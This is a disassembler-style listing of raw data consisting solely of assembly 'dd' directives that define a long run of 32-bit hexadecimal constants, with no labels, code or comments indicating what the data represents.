		dd 0B2002577h, 7C118DBEh, 0FC99E0FEh, 1B460005h, 0D8BABC58h
		dd 92004AE1h, 0FB33A9F7h, 4E379Fh, 0D0508ED9h, 45F5311Bh
		dd 985CC71Fh, 289E6B87h, 0A2D20750h, 24A60367h,	1E5D05E6h
		dd 0F88DEAA1h, 63E5B31h, 4998084h, 0C978C885h, 1E0A0EEBh
		dd 2780BD63h, 8DED6741h, 809FDE1Ch, 719CEEC0h, 0B8C88Ah
		dd 0B5C6D3Fh, 0D9581D1Bh, 5BFF7500h, 8CCB8B6Fh,	0E844790Ah
		dd 7F30FF3Ah, 7BE300B1h, 0F0FE93F2h, 61E0C3A3h,	0AED6400h
		dd 6BFB0EC2h, 0B05F001Ah, 0F5499520h, 0DC072298h, 0DB56BE04h
		dd 334DBA30h, 0FC0907Fh, 0F3DE166Ch, 95B7EE00h,	410064AEh
		dd 98E92532h, 8B1CCEh, 66D5E73Eh, 0B10ADBE0h, 92B52000h
		dd 4B514AAFh, 86B203ADh, 0F4882103h, 0FCC332A9h, 9DF676A6h
		dd 622ED077h, 0AA00395Dh, 69D341F9h, 0AFCC2EC9h, 0E2E1000Bh
		dd 936486FCh, 0EBE78307h, 20FEE83Ah, 0D24C149Ch, 0DD55007Eh
		dd 0C081203Dh, 0A20058FEh, 998C2AA8h, 1F901C2Eh, 5712451Fh
		dd 26A9016Fh, 307D0379h, 0FA2EC7E4h, 77009A99h,	4EA0E209h
		dd 35D200C3h, 81CE36E3h, 0B80E7AD9h, 6094101Dh,	6D0AE56Ah
		dd 0EE8F0232h, 0D4069A04h, 5AAA1B40h, 18785FF8h, 0B865D024h
		dd 0F0CE0D01h, 53E0C64Dh, 0DCE6008Ch, 1AD84B7Fh, 783B7C03h
		dd 92DA0074h, 2CA1E551h, 7B90BBh, 45446917h, 5515226Ch
		dd 6E89BF1Fh, 2855CC0h,	0ADEC0Fh, 0C58641E8h, 0B069587Ch
		dd 0CFDBB713h, 93D4D404h, 0A45CECC0h, 4780F18h,	11C0A35Ah
		dd 0BE3C7F7Dh, 5361D20Eh, 89B32314h, 0C75790DCh, 0EDFB0094h
		dd 732B2D6Dh, 0A5B8A160h, 0CE462A0Fh, 2CE0406Bh, 7AF5833h
		dd 0DD6ECCAh, 0A6B13098h, 281F4DCDh, 9F83DF3Dh,	0C954B023h
		dd 0D930C678h, 9AED006Fh, 0EEDBD91Eh, 2175CF36h, 9C6E3F3Eh
		dd 0BE00C2A5h, 3BEF5A6Ah, 4641005Bh, 979CBF4Fh,	4D005E69h
		dd 88CDDD5h, 128807Bh, 0E2CA5AD4h, 0C4B2C92Bh, 59E090C3h
		dd 5892EA00h, 0FC3E2717h, 5A1A0035h, 63E87EADh,	610104A3h
		dd 0B6671513h, 0FCF40796h, 0DAC907F7h, 732A9C8Dh, 8F6A71h
		dd 4ECAD8E7h, 16C8C500h, 0A49030C2h, 9DF80161h,	0C78CA005h
		dd 723D0DCh, 0A7BA3700h, 0B3AD755Ch, 923D001Dh,	8F22A136h
		dd 0BE00D8ABh, 3C8EB70Dh, 3488A55h, 14B98885h, 0F1E3EB2Fh
		dd 2DB194D8h, 0E63C441Dh, 0D0B30200h, 2BD8A4h, 1476E965h
		dd 0F3236F8h, 182C4100h, 8B39F4D6h, 51C4008Fh, 26315435h
		dd 9EE5340h, 637A6501h,	3ED9C61Dh, 10ECAFDDh, 0E49800B3h
		dd 0E20CDA42h, 5E00C827h, 155F824Ch, 0EE70AE8h,	7BC29110h
		dd 5E074CFh, 41A9FAF9h,	125DB158h, 91000471h, 2F799EF2h
		dd 815300E2h, 7ADF8259h, 5104159Ah, 1D43DBE8h, 0AAA00880h
		dd 702EC07h, 0B54A174Dh, 26892236h, 4E98A0E3h, 0AC00B7BEh
		dd 0B85A6254h, 0DA79E6h, 64272F28h, 167E488Dh, 81FB27Dh
		dd 9680C0DEh, 1D02B3B6h, 7DA50F1Ch, 6E8053A7h, 77D53088h
		dd 0DB0E5A00h, 4082B1E8h, 63D1002Ah, 601CFD4Ah,	7278E18Eh
		dd 0E00E9F7Eh, 0C055A387h, 0A5F5C4C8h, 578400F2h, 0F3BF4BA9h
		dd 0DA07B8A0h, 0DC16FC2Ch, 129E7B1h, 6FD3C0h, 276C1F37h
		dd 9E10F313h, 0A17B6824h, 83EDAB00h, 1BB572h, 62016339h
		dd 0B00D55B8h, 4464B100h, 2787B402h, 0DE7600F9h, 0C89C9A0Ah
		dd 67E89390h, 8DA65D00h, 0FB417EEAh, 0D6550022h, 0C6E3125h
		dd 0B903DC94h, 0E04E05A2h, 0DA86907Eh, 0D2570015h, 0D955ED44h
		dd 2700ADE1h, 75F49347h, 50A84h, 52AFACD5h, 0FC83F088h
		dd 3E72A400h, 0BF01B22Ch, 5F24001Fh, 0EFDC7011h, 140010D9h
		dd 0F53842C2h, 11769DBh, 6B6CE8B2h, 0D43A7EFEh,	0D0039994h
		dd 0BEAB1FC2h, 8E07B0D1h
		dd 8F710016h, 9450D564h, 0CD39D826h, 6BDE8796h,	44E08893h
		dd 0BEAA6Eh, 3CCE5647h,	0B2506CB7h, 0D6D8C600h,	270E24Ah
		dd 3D310096h, 53FAE43Fh, 714CFFBh, 3DCAA93h, 5F360A87h
		dd 7862E052h, 0DC7604FCh, 0C47AF806h, 1B8600CAh, 175F6EA6h
		dd 8E89413Bh, 0A0A22CCCh, 0A9041E35h, 64190093h, 37D91CC3h
		dd 34002847h, 0C7799055h, 0E70E95Ah, 2D36BAF1h,	0A3EE8020h
		dd 0CF00E4CAh, 0E27F9CEFh, 693899h, 0DA238D13h,	2688EE4Fh
		dd 36DB3C1Eh, 75F1C2C0h, 250A4E8h, 0F6813A15h, 11E0D98Ch
		dd 17006A6Dh, 101CAC4Dh, 3B116F01h, 0D08095D8h,	0E95D946Bh
		dd 4F009A26h, 31A71261h, 7D7024C2h, 83905B4h, 801DEF97h
		dd 4CF5FC4Dh, 8CBA2A07h, 9260DE25h, 4E455Fh, 0ED4D6B6Dh
		dd 145808ABh, 60E18200h, 18CA15A3h, 0CE8600A0h,	831BDF68h
		dd 4801AB08h, 0C16C9458h, 42203812h, 0D5B300A5h, 0CF5985ADh
		dd 2B1774DBh, 28005F6Ah, 3F1C0EF4h, 480D00D7h, 0F3826779h
		dd 0C0001ECh, 0C99C744Eh, 39443798h, 8C80DD77h,	0A045A8FCh
		dd 367DCFDAh, 3F9F291Fh, 0BCCBF307h, 0B130604Eh, 0B8E388h
		dd 0E92DEB6Eh, 0C8E7A780h, 67024C0Bh, 0D11F0070h, 2C4FBD5Ah
		dd 194D66Bh, 55C840CBh,	0D7A0EFF5h, 8600E21Dh, 39CE5A47h
		dd 3F727170h, 30009564h, 75129EFAh, 0DE00B14Dh,	0F79AAD7Ch
		dd 0D47E94h, 5807B8AFh,	0E1C210EAh, 0C34120Fh, 6043C70Dh
		dd 0BAB07C50h, 1FD90054h, 29249A8Eh, 3617FCA0h,	0A21DDD26h
		dd 4135C2C0h, 14ADD9h, 7D89C306h, 6479838Ch, 2AE8DF00h
		dd 8DC98E20h, 0D37300B2h, 0DB945E0Ah, 871F7EA5h, 39DDCD9Bh
		dd 48E19543h, 0C0ECD801h, 41E41742h, 775F0E6Ah,	80C1E024h
		dd 0BFA11065h, 490A58h,	803BD9B9h, 549349h, 0F97CB842h
		dd 0D35BF8D2h, 4540B71Eh, 0B3A9FEC3h, 60B6FAFBh, 645172h
		dd 0BE0E0597h, 747F16CCh, 9C0B6800h, 0F85080A7h, 1A0900F1h
		dd 21344A79h, 3500C1ECh, 430815B7h, 3F0E83EAh, 7E0061BDh
		dd 0D49189FAh, 53038BC8h, 1A85796Eh, 0C5E28832h, 1FD2000Dh
		dd 71ED6135h, 6700E42Ch, 1ED30B7Bh, 71D0339Ch, 87FA00B3h
		dd 10A5CCFBh, 3200EAB5h, 7F8B7C92h, 28FEE0h, 5B7A9E04h
		dd 3B7EFF18h, 8938D2C0h, 0E861CE9Dh, 0DC0B00F4h, 4CCCDB6Dh
		dd 0E4023E6Fh, 35E9E58Ah, 0D797E095h, 0CFAF03CAh, 9F10F7D2h
		dd 3D84D8A8h, 0A9205A07h, 0A10061ABh, 0FFECE1h,	6E9C8CE3h
		dd 35255645h, 0BAD5BF03h, 9886D9BBh, 7FF129Dh, 5E85E3B6h
		dd 99098017h, 830F783Bh, 26C965h, 9B287981h, 0D03A009Ah
		dd 0A6F6B55Fh, 85792F9Fh, 4D523F00h, 59407FF9h,	54531D4Eh
		dd 0AA1BC05Eh, 863D6C10h, 0ECE27300h, 8970DD57h, 925A0159h
		dd 0A4E7326Bh, 0B7C0478Bh, 0EF2F305Dh, 48072856h, 0DDE8013Fh
		dd 0F5C27300h, 0D09100B6h, 0CF339F34h, 4D001C97h, 8122A523h
		dd 0A0BEEAE6h, 3DCAAA4h, 0BD99E134h, 6BAAA039h,	0D1A6D9E0h
		dd 0B2836E07h, 3260260Eh, 308F95h, 6C43F425h, 7C06A415h
		dd 0C0B92B00h, 0D3E3DE19h, 8E08385Fh, 3E77CB80h, 0A6857A51h
		dd 930099EAh, 90D7268Bh, 0FDD595Ah, 0C6133CE7h,	76259420h
		dd 0E400CE7Ch, 0C0D61AC7h, 778DF979h, 597E0E2Bh, 3460E902h
		dd 1236CDE6h, 0F795DA1Dh, 5B23EC0h, 3F3D53E8h, 0F5804FB5h
		dd 0A64E4ADDh, 9E01B8B7h, 8168F789h, 0E3F4B227h, 0B1290070h
		dd 76D522AEh, 0A400E212h, 0E9BBBB3h, 5EA392h, 7C93036Ch
		dd 0B6EF2D13h, 81419700h, 0F6ABB256h, 0AEAC0F3Bh, 5CAB7879h
		dd 85A9EA03h, 0FF6FAEAh, 12CA5F00h, 0DB383Fh, 0E9FF04C7h
		dd 89D1EC9Ah, 0E8C96A13h, 863CB503h, 93AFF0B0h,	292F0071h
		dd 30E675Bh, 0FAF43E54h, 0A9251F00h, 0EFC8DA2Dh, 0DE113AA2h
		dd 0E36F5D80h, 63A47D87h, 10A9F300h, 9FAE906Eh,	0C498D2h
		dd 6A27A519h, 26E3BCA7h, 64363B00h, 0E2A285F5h,	0C03C00E9h
		dd 0D071827h, 9B007CA0h, 0C719D771h, 0DD9225h, 572ADB01h
		dd 0D4F9E19Dh, 0A201E3E4h, 271A47Ch, 3DFCCFCBh,	0E4B1075Dh
		dd 707D2346h, 0C09453D5h, 0DB67DE00h, 7510FDADh, 40E4C7h
		dd 0E948996Ah, 0EA6FBDE3h, 0FED99000h, 4377845Bh, 3BCB09D5h
		dd 7181995Fh, 0D0320CEBh, 0F7008744h, 42EE2A1h,	7054B981h
		dd 97A300E8h, 0A43F11DFh, 4600F08Fh, 0BE39C4B7h, 75160Dh
		dd 0E5910CBCh, 7DE3B805h, 8E730E3Fh, 0AEAD279Fh, 95DC2069h
		dd 0EAD28DA0h, 118700B7h, 5C6AD4C4h, 0D00FABC6h, 0A0539FB5h
		dd 0A65A21DBh, 0A88C00C8h, 0F6221BCFh, 37002E09h, 0ACB8B52Ch
		dd 6CE176h, 0C378B677h,	48962660h, 340070E6h, 24D64050h
		dd 1C644ABEh, 1C39302h,	6F2D8BDAh, 7FAA70ADh, 0D7BD3300h
		dd 1F4C0380h, 0FA9E0056h, 0D0B6E10Ch, 0A8007401h, 25BC9140h
		dd 741B0CAh, 0A5C82896h, 8DDB9371h, 0EC86CEA9h,	0EC0BF813h
		dd 701B2B39h, 169500D9h, 55DC71B1h, 96006DF2h, 0B20E3CD2h
		dd 0DFFA84h, 11A3FE41h,	545BC8ADh, 0EB59CD1Eh, 5A1A9340h
		dd 773BCAh, 0AE568D85h,	106447ADh, 875EEA00h, 1E64C72h
		dd 2B690088h, 3EB6C5CEh, 0B21FD16Dh, 0C2401362h, 0EAD44364h
		dd 0D5FA0005h, 0BCDD1D59h, 6770A59Ah, 0AC95E800h, 0D3621B7Dh
		dd 42270063h, 6CBDA429h, 0E87EF920h, 36EE5E07h,	4B60AEF0h
		dd 605877D9h, 0C51578C0h, 60006F51h, 25490807h,	7A774F57h
		dd 1F717E30h, 6570D288h, 533D65D8h, 930F80EFh, 0A1BB133Dh
		dd 3BD300ADh, 5072CA9Bh, 0C13BBC79h, 99AC8046h,	6D8D0C21h
		dd 0F0EBF73Ah, 1C6E6B87h, 809105D0h, 0ACAD924Ah, 25124498h
		dd 980077EEh, 348D3E6h,	328F01B4h, 0FFBF6C64h, 0CA236068h
		dd 81F0E03Eh, 5E7CA6FCh, 80EB753Dh, 517E20h, 8A0A4D0Fh
		dd 0F5F996DCh, 46DE7400h, 9041BEECh, 65C007Ch, 0EC3DD81h
		dd 0AFB84036h, 9DD6170Fh, 42E2405Eh, 327984h, 6CFA06FDh
		dd 0B3BC777Fh, 0DE01A2E4h, 8AC0A601h, 67F4DFE2h, 0B19C0090h
		dd 9BAC5D0Eh, 7D0044B7h, 1CEDB6B5h, 1D423A82h, 84FD0126h
		dd 0C0058116h, 6AF9BC4Dh, 1FFB0900h, 0C3804C2Ch, 0F8EF0791h
		dd 0E044C74Dh, 55CC94BEh, 40006CE4h, 98BB99E4h,	0A7138Ah
		dd 61B0165Dh, 968315E3h, 8CEDA9A0h, 7E25E0E5h, 44B41700h
		dd 0C738289Dh, 43DD01E0h, 34E13D1Ch, 0BBD3E471h, 4E00557Fh
		dd 150F6306h, 318D894h,	35B6A810h, 1C9830DAh, 7AEAFB8Ch
		dd 5C000F7Ch, 52B5AA5Fh, 0FFDE55h, 0D94ABC51h, 308603A2h
		dd 3A0E1000h, 0B05BB529h, 19B733Ch, 9D94AADDh, 0D0582652h
		dd 0D5026EE9h, 53FB5DFh, 0E75260EBh, 0A7C30034h, 421F3921h
		dd 0F30341D6h, 0E9A04D43h, 0D25C881Ch, 0CD7C0F4Ch, 3120E88Dh
		dd 9B77D609h, 10EF4500h, 0FDED95Eh, 2FDF00DCh, 728F7647h
		dd 7300B899h, 104C8EBh,	39786EE5h, 1980599Fh, 928C71C5h
		dd 44032905h, 34F31CA4h, 0B790B84Bh, 0EEA0126Ah, 0A5A6011Fh
		dd 0C49FBA0Ah, 0D21D67E6h, 0C2400FB9h, 346BD55Dh, 6E03000Ch
		dd 8A4B2053h, 3D003CDEh, 0FE50A7F5h, 0F3F2Bh, 517B6345h
		dd 1585DD7Ch, 0EFBE981Fh, 80578E8Bh, 0CFDFED39h, 0B84EE86h
		dd 33C3F66Fh, 5A40E80Ch, 0D7CDCB07h, 96204017h,	0C0216C6Bh
		dd 43021530h, 0EBE6FED3h, 237A9800h, 0E850BDAAh, 0EE320026h
		dd 97298894h, 630044F0h, 65F33FDBh, 7A23AD28h, 0EB0F0385h
		dd 0F77D1F21h, 0E41440E9h, 0F800A778h, 988906B6h, 0F525FCh
		dd 7DD89BB5h, 0A8A146C0h
		dd 74BE7800h, 31C1ACD6h, 0BB510093h, 19F634DEh,	73167176h
		dd 8A00E14Bh, 2B9A8D16h, 23B100C9h, 0EEF579Eh, 4FFC3D7Bh
		dd 0B733C52Ch, 0E4299D00h, 0F10EBh, 0E5652B60h,	5DF7B308h
		dd 52FE8A07h, 643020E7h, 7D521D6h, 159C96B9h, 0C9FB6023h
		dd 3507C585h, 341AE9DBh, 2174E450h, 0DCE2B3h, 0DD4529C0h
		dd 0CCCFB405h, 969CA300h, 0AC8433F3h, 4CCE0FADh, 0A8E26659h
		dd 0E8807161h, 19FEE863h, 0DFB1E02h, 0C0F7C240h, 99BBD6h
		dd 6F0FF61Dh, 0EE2BB4E1h, 0E9813200h, 9222ED66h, 0BB290B5Eh
		dd 3700534Dh, 0B9FB8BDh, 6808539h, 3E06D230h, 0EE90ACh
		dd 0EA45B769h, 3FCDC626h, 58319C00h, 0D4FEE5F6h, 198003FAh
		dd 0E7EA9346h, 4205D8D0h, 7FA2FF00h, 0E613617h,	2E7300ECh
		dd 10685475h, 0F104E98Ah, 0F3B5FAD7h, 0A061380h, 0A8CFE536h
		dd 976551h, 0F502BA39h,	8B88CA3Ah, 9FACBE00h, 0F8DB3F32h
		dd 14E50093h, 0A387C291h, 54EE9B1Ah, 64007179h,	0F652AE65h
		dd 3BCC50DFh, 9880C57Ch, 0F4DC4925h, 65009524h,	205E3376h
		dd 85C2B8h, 92D2EA5Dh, 88A951FCh, 0E602D00h, 120BED13h
		dd 50D90052h, 41B226C5h, 0AE3E2E0Ch, 2C648030h,	90E548A6h
		dd 8D603A33h, 37564200h, 1EB6580h, 530092E4h, 0B0C5A2DAh
		dd 3FA1677Dh, 5B070DEEh, 1064E00Bh, 5CC79F3h, 8F495039h
		dd 4027EA61h, 5F2DDC8Fh, 0F06E00C5h, 0F952B04Dh, 0BE000D68h
		dd 6C9BA880h, 3FACCE08h, 3CFB92D8h, 0A21E0A7Bh,	6D1D406Fh
		dd 0AAAF84F7h, 0E4D0330Ah, 5000F935h, 27220210h, 7EFF009Bh
		dd 1EF5B374h, 0E698D452h, 0C93E821Eh, 5F9C803Ch, 3D276264h
		dd 73E4DBh, 952AE9E3h, 0FF36B105h, 23F1C00h, 0B6B44489h
		dd 0BB5807DAh, 0E09DEB90h, 0D22ED7F5h, 0CD0ED601h, 0ACAA4731h
		dd 5B89A7C4h, 431E0ECFh, 3DE06561h, 0CDEDDC6Ah,	98BA1000h
		dd 0F50BEED2h, 78E87382h, 0BC6F3D54h, 0FDAA5D80h, 22F1FBBBh
		dd 0A200F9F6h, 6976E08h, 241D2BCEh, 32A6B47h, 67035D2Dh
		dd 318A68E8h, 0FE00D2E2h, 1C11D83Bh, 1C4256B3h,	5A9BB1h
		dd 5412D7FDh, 1F07C1DDh, 2F847892h, 0F4C3C290h,	0AA3900BDh
		dd 83E693D0h, 7F00F170h, 734A4E38h, 491AA5h, 0AFF60288h
		dd 63EFDC2Ch, 6FFE5B00h, 27A717EEh, 90490041h, 0F1F26D91h
		dd 0A21E3FD4h, 0AE806F88h, 11532389h, 0AFB12439h, 26BA2C60h
		dd 7DCA008Fh, 833CB5D5h, 454BA300h, 5348DAADh, 0D18200ACh
		dd 0B9E56117h, 0BD003A7Ch, 0C068C1F0h, 0C2E0FDh, 4FE94472h
		dd 4BCDC11h, 5D1BC500h,	36D1AACCh, 553100D7h, 9B10496Ch
		dd 8B009196h, 9B4701Fh,	83CDBDh, 6A608FEDh, 183E365Dh
		dd 51E14C00h, 59DA6E27h, 0F4E600BAh, 0FBFE0632h, 0A600BE5Bh
		dd 9BCF9880h, 7E9281A2h, 0BFE51C02h, 6800BDAEh,	5A6A6CA4h
		dd 0B5002F6Fh, 460113Eh, 1C64989Ah, 2711B73h, 815EC643h
		dd 6724C4E0h, 0DE38F8F8h, 3E844C9Bh, 9088804Bh,	6F286455h
		dd 84E4004Eh, 709416A9h, 0C50030A3h, 6C6382F1h,	0D6B0EBh
		dd 1B6B674Bh, 0A98B4009h, 0DA713F00h, 9CCDD9D8h, 3D4D00D6h
		dd 0DDC008BEh, 0B40F7E52h, 204313ECh, 0EB064FE2h, 0C7B50016h
		dd 0FD46BBFBh, 7FECF06Dh, 86534700h, 363015F8h,	1ECF0083h
		dd 8B4D94B9h, 0EC006EA6h, 28CD3B21h, 7479B011h,	1F8E00C4h
		dd 86ED5F1Ch, 97FE59F5h, 0B6531D01h, 0FBA70A0h,	1E1A3E70h
		dd 0C07D6C18h, 90FA6424h, 6A006F52h, 0EF126621h, 1E9F5D75h
		dd 0CEDE1610h, 0C120B1DCh, 9743FBCCh, 0FCA8A401h, 2E6CADB5h
		dd 7F9C4360h, 62DD0F83h, 6E8034B4h, 0FEE735Ch, 37F1F400h
		dd 0A2921841h, 0F94B0065h, 0CE890D3Eh, 0FA037B6Ah, 8C1B379Dh
		dd 0C2FE80F3h, 0A04CB0D2h, 72033h, 5A421DEh, 10E1CE0Bh
		dd 0FEEFAC00h, 7449E2FCh, 0D172076Ah, 40BF0546h, 19088ADFh
		dd 0C118100h, 0D5922D62h, 0C3600079h, 4058800Ah, 0FF0004A6h
		dd 0E975987Dh, 1EFACC5Bh, 38352C4h, 0EE4E2235h,	8A37E798h
		dd 95006270h, 33B2012Eh, 60B368h, 3D3DE15h, 395AC852h
		dd 0BFDC7B1Fh, 0D6C00EC1h, 67CC8537h, 1C0A0046h, 6D52F29Dh
		dd 30F6894h, 80692D8Fh,	274118D5h, 0D9390063h, 0CDAF37CAh
		dd 1D0F77D8h, 0A0284621h, 52D0D7BFh, 54B4004Ch,	0A08A9188h
		dd 1F2E079h, 7006E10Fh,	86D000Ch, 189ED7h, 77CEC6B2h, 3226446h
		dd 969FCA00h, 0F5EC403Dh, 0E4070070h, 2681E58Dh, 0BC0154BAh
		dd 2E63B5D9h, 38F44FB2h, 34B600D5h, 61C35930h, 58F8D972h
		dd 8ED6800h, 0BD78AC7Ch, 94550073h, 0EAB1DD47h,	0A800FD8Eh
		dd 0F5B5DCA3h, 1380402h, 755D5E91h, 0E06D28C5h,	30E1944h
		dd 6749D001h, 10675C3Ah, 768B96F0h, 0A61B0081h,	0D4AAC1E0h
		dd 0C600F861h, 17212CB2h, 3DDADEh, 6BAC92FCh, 0E6AD7C94h
		dd 0F07F0678h, 8BE18D00h, 0B4C2E7C1h, 0FE380035h, 0D3A17DCDh
		dd 2400B588h, 80616022h, 0B108D42h, 28ED648h, 0E1137F81h
		dd 5D78C80Dh, 0F8412826h, 37523500h, 7D809C03h,	4F0103B3h
		dd 0C4B1B7E3h, 4BCE5480h, 5FF25800h, 6FFC84E8h,	2E5E0041h
		dd 0D213CA22h, 3F3BC22Ch, 340A0161h, 4ADC909Ah,	90E1EBE4h
		dd 49FC99h, 0D6619943h,	670883BBh, 599B170Bh, 20A10EA9h
		dd 5394B647h, 7E7E49h, 571AA27Ah, 0E93B24F0h, 0BD1848h
		dd 0AC307D40h, 0DD91E3h, 2D52A54Ah, 67FBEE21h, 0D56F4F09h
		dd 137000FDh, 31D2EBh, 5055B66Ah, 576C5EF7h, 71C06307h
		dd 929066C6h, 0DF913Fh,	0B76D648Eh, 0EE7084E2h,	885E5A00h
		dd 0A294D4CCh, 4E2E1E1Ch, 82AADDB8h, 686A4581h,	0CF5282C0h
		dd 88668C00h, 0B3225CE8h, 0E09D039Bh, 0EC3E329Ah, 5A3A58B8h
		dd 9C24200h, 6618254Bh,	0CA3B012Dh, 70AA440Bh, 476DFCD3h
		dd 3FB1A607h, 83E28F5Ah, 44136086h, 7CE90051h, 9425F434h
		dd 0B8F8BDACh, 7F008A79h, 11AAC003h, 7112746Bh,	0AF5A0036h
		dd 14671591h, 0F671BACCh, 0F088C907h, 8300DBB1h, 0E8B6CF5h
		dd 121160E4h, 91F27AC2h, 27E8CC60h, 0F81D977Ch,	0A0C3139Bh
		dd 0FB9A45EAh, 7E71903Dh, 8BD70903h, 5C8058B0h,	5E8DA374h
		dd 8DD800Fh, 10F2E011h,	0FE0734D6h, 587A00EFh, 13A9E9F7h
		dd 0CC000209h, 6D734EB3h, 91289Eh, 6665926h, 2C944711h
		dd 0D400B072h, 0E479C4A1h, 1CD116h, 0E36CEB7Eh,	0BE75F423h
		dd 0FA249700h, 0EC98044h, 63903B5Fh, 74862101h,	0E4A6A9C7h
		dd 1DB80FD9h, 0ABE08400h, 39DF472Ah, 0F6DC5065h, 256100AFh
		dd 8A9D2954h, 41F83B9Ch, 700024ECh, 0D4C64F9Eh,	1F2692h
		dd 5FC00988h, 823B1CF8h, 0FCCB8707h, 1600A70h, 9C408Bh
		dd 6FD8AD30h, 9657C044h, 707C0E04h, 0F80355Ah, 0F73002h
		dd 3E269B2Ch, 720C589Ah, 0B9338D00h, 165D6884h,	230CC538h
		dd 0FC4BC3BBh, 0F6D3A388h, 9814C500h, 16A0F90Ah, 45AB3997h
		dd 0C2197D80h, 6C6B037Ah, 8F0044ECh, 38F90612h,	1DA093Dh
		dd 79AD7D1h, 0FC395F26h, 0EE0090B5h, 3A76E201h,	0B5862D9h
		dd 2F129BA3h, 0D336B400h, 57F005FAh, 2E7A107Ah,	6329E01Eh
		dd 68B07A40h, 0B8D2AF9Dh, 5F6F2h, 658F43Fh, 4D657CF6h
		dd 6C237326h, 0DB92D200h, 1D8B6E0Eh, 8197D6B6h,	234ADBAh
		dd 332E60D1h, 43625900h, 0DB4A8DB1h, 0EC370716h, 0E022D5B5h
		dd 0A2418029h, 7D768A00h, 0C1C02DE9h, 0B11206BEh, 0D41E44F9h
		dd 1F486C00h, 0C35A185h, 246B3EECh, 0FB1C7000h,	6219152Ah
		dd 0D087DC00h
		dd 7659CD5Ah, 743E00DFh, 83F82D86h, 4E134B19h, 8E18DCC1h
		dd 1FCCDE34h, 40143879h, 3CE16E8Fh, 6A000E6Ch, 97CBA3F3h
		dd 850719h, 77823E7Bh, 0C76C94C0h, 57DD10Fh, 668BC0ADh
		dd 39FC3CCh, 0ABDAE2C5h, 180D68Eh, 0B7077E28h, 0B3F41FCh
		dd 3DC070C7h, 736459Dh,	66E6E495h, 7F610073h, 0F8002468h
		dd 825C75CFh, 180B8A44h, 4E324CECh, 8A901AA7h, 241BC00h
		dd 0F4AA5989h, 74F011h,	6DEFA060h, 94B41665h, 0B8E30200h
		dd 62538FFEh, 64BC0046h, 5205C690h, 4900633Bh, 31710DAEh
		dd 7EA2B5h, 9965135Eh, 1B2C5059h, 92BC3400h, 91952E79h
		dd 8C37000Ch, 626BD801h, 0AE009ACEh, 3514CF96h,	3FB177FEh
		dd 1780C82Bh, 0F5015AC0h, 917B1208h, 0C959D400h, 0AA3FF836h
		dd 0A89E009Ch, 168EE1E0h, 35121ECBh, 0FE0087B6h, 0B5E9D2E3h
		dd 0A6DA3EB1h, 90763100h, 0BD84B4A1h, 12C57000h, 20B31FD7h
		dd 225300FAh, 5B7404D3h, 8D00AFE0h, 0E915AA98h,	1EDC52DBh
		dd 4CB36Dh, 925D6753h, 0C60001D3h, 34BD4712h, 3F2413DDh
		dd 0A480F1A6h, 0BCAF7298h, 0B5FCC29Eh, 0F0006B76h, 932C554h
		dd 1085827h, 0F3A38CBEh, 0F87EE062h, 0DA7543EFh, 8488B000h
		dd 91F40EADh, 53EE00C1h, 95BA8330h, 0ED00948Ch,	237ECBACh
		dd 0F58A2Dh, 0DE945E6h,	2A46F64h, 15C1BA00h, 0EAC4CE71h
		dd 29010322h, 2682E821h, 90C811A8h, 0AEB84A00h,	0B365D184h
		dd 4ED60096h, 3386122Ah, 0D8001D0Bh, 0CB5920D5h, 182D1Ah
		dd 58F33DCDh, 65445CF4h, 80550D3Ch, 1EC56734h, 2FB7BE5h
		dd 18C982CDh, 8A7DA7AEh, 0B2008DB8h, 969E2A31h,	4B17071Dh
		dd 0B0FC465Fh, 7C9BCFBDh, 75EFC407h, 41EFB9FEh,	3A1F6285h
		dd 9405C0h, 0DD5DE3F6h,	0A128E411h, 7A56FB04h, 0D3C08CECh
		dd 0FB1BFED6h, 0C161AE80h, 0CB6E52F7h, 0CDA17003h, 0D81342AFh
		dd 0A309Dh, 0BD555D09h,	7ECEFD6Bh, 74B75C00h, 0BBB5A7E8h
		dd 7B10072Eh, 30696F95h, 0E69F4EBEh, 1B70D500h,	0AA5B5DFCh
		dd 1E250089h, 0A4C9FBADh, 31008F9Eh, 0BC41666h,	38D3B582h
		dd 0CE80FADBh, 52BD22B9h, 6800E6B4h, 0C1A2461Bh, 0E9089Fh
		dd 710B9776h, 920D5FD2h, 0E2E427FCh, 2F395900h,	5C694FD1h
		dd 1D8600B8h, 38835E54h, 0EC00311Fh, 0E464129Fh, 0D5C266h
		dd 5048B8FFh, 915CB525h, 0A7B65700h, 1D93D647h,	1C62FCEFh
		dd 80FB8D5Eh, 7A749794h, 0BB0070C7h, 892E914Ch,	6AFEEDh
		dd 9324AA73h, 18A6FCBh,	4857AB00h, 0ACC8435Eh, 59540545h
		dd 80FC945Ah, 0E807525Bh, 57BE1200h, 0A68AFF24h, 0A7100021h
		dd 9346B5CDh, 0D0FDE11h, 0E0408981h, 0D8F1DAB6h, 0C9A7000Bh
		dd 0D24254FBh, 201C7DC3h, 0FFC0C508h, 37BB4182h, 53C41D89h
		dd 2111007Bh, 6AB2DD32h, 0E60039F2h, 0EF60E186h, 3ABB73A6h
		dd 6F82C51Eh, 0BC291D4Ah, 59602FE2h, 341ECCE6h,	0E2402BCBh
		dd 0D79A1C7Ah, 0F6F33E0Ch, 2539D807h, 0F5B7A0EEh, 2C1E1631h
		dd 0CE80A8F8h, 8C87764Eh, 1B454862h, 3C95416h, 26CFC3C0h
		dd 1EFFE290h, 6C009271h, 9E3E5B1Dh, 79FB10Eh, 491FEE36h
		dd 4D27021h, 0F8EE5592h, 0F609A100h, 0C6CF6375h, 67B071h
		dd 12A3C9BBh, 5CBD489h,	65A5740Eh, 0AA5360F5h, 0C95A4Eh
		dd 250EDC2Dh, 86DEA313h, 27155Ch, 0A7A13EA0h, 0E41FDDh
		dd 0AA46D5DAh, 755B9051h, 661C0700h, 0DD207634h, 0A7A20161h
		dd 0F213607Bh, 0BA4B21EEh, 320D8020h, 0F09E26E5h, 0C8CD1CB0h
		dd 0DCE3C55Fh, 59C70036h, 43A3D7E1h, 718A7B60h,	88FA9Dh
		dd 984D0DD2h, 65346F02h, 707A8B07h, 0C3C0213Bh,	578209h
		dd 58EBC15Ah, 542E7B89h, 879E3000h, 75D4BEEh, 33F7190h
		dd 4475A83Bh, 0CE89F531h, 0D96830E6h, 57EDE203h, 0D8BB3C9Bh
		dd 1B21F8h, 0B1161ED7h,	0B7326AFDh, 0C65DBE00h,	57D99863h
		dd 0B63900BAh, 4DD34ABBh, 6500D561h, 953C0F30h,	236A2A5h
		dd 0F2034FB5h, 0D940503Fh, 0CF1D2346h, 57C06708h, 0D6D05C3h
		dd 9AF51C4Fh, 0B53A8074h, 0DA03465Dh, 4C077918h, 1F6287F4h
